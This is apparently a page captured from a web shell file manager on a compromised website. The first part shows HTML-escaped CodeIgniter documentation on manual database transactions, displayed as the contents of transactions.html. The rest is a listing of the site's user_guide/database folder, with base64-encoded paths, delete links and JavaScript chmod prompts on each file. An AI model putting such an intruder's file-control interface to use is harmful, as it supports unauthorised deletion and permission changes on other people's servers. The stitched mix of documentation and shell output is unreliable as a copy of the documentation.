&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;running-transactions-manually&quot;&gt;
&lt;h2&gt;Running Transactions Manually&lt;a class=&quot;headerlink&quot; href=&quot;#running-transactions-manually&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you would like to run transactions manually you can do so as follows:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AN SQL QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;ANOTHER QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AND YET ANOTHER QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_rollback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_commit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;admonition note&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Note&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;Make sure to use $this-&amp;gt;db-&amp;gt;trans_begin() when running manual
transactions, &lt;strong&gt;NOT&lt;/strong&gt; $this-&amp;gt;db-&amp;gt;trans_start().&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
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href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Zm9yZ2UuaHRtbA=="/>forge.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Zm9yZ2UuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>72763</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=aGVscGVycy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aGVscGVycy5odG1s"/>helpers.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aGVscGVycy5odG1s&c=`+btoa(c):0" value="0644"></td><td>42739</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=aW5kZXguaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aW5kZXguaHRtbA=="/>index.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aW5kZXguaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>36205</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=bWV0YWRhdGEuaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=bWV0YWRhdGEuaHRtbA=="/>metadata.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=bWV0YWRhdGEuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>43050</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cXVlcmllcy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcmllcy5odG1s"/>queries.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcmllcy5odG1s&c=`+btoa(c):0" value="0644"></td><td>48726</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cXVlcnlfYnVpbGRlci5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcnlfYnVpbGRlci5odG1s"/>query_builder.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcnlfYnVpbGRlci5odG1s&c=`+btoa(c):0" value="0644"></td><td>196817</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cmVzdWx0cy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cmVzdWx0cy5odG1s"/>results.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cmVzdWx0cy5odG1s&c=`+btoa(c):0" value="0644"></td><td>83343</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=dHJhbnNhY3Rpb25zLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dHJhbnNhY3Rpb25zLmh0bWw="/>transactions.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dHJhbnNhY3Rpb25zLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>45356</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=dXRpbGl0aWVzLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dXRpbGl0aWVzLmh0bWw="/>utilities.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dXRpbGl0aWVzLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>66327</td></tr></table>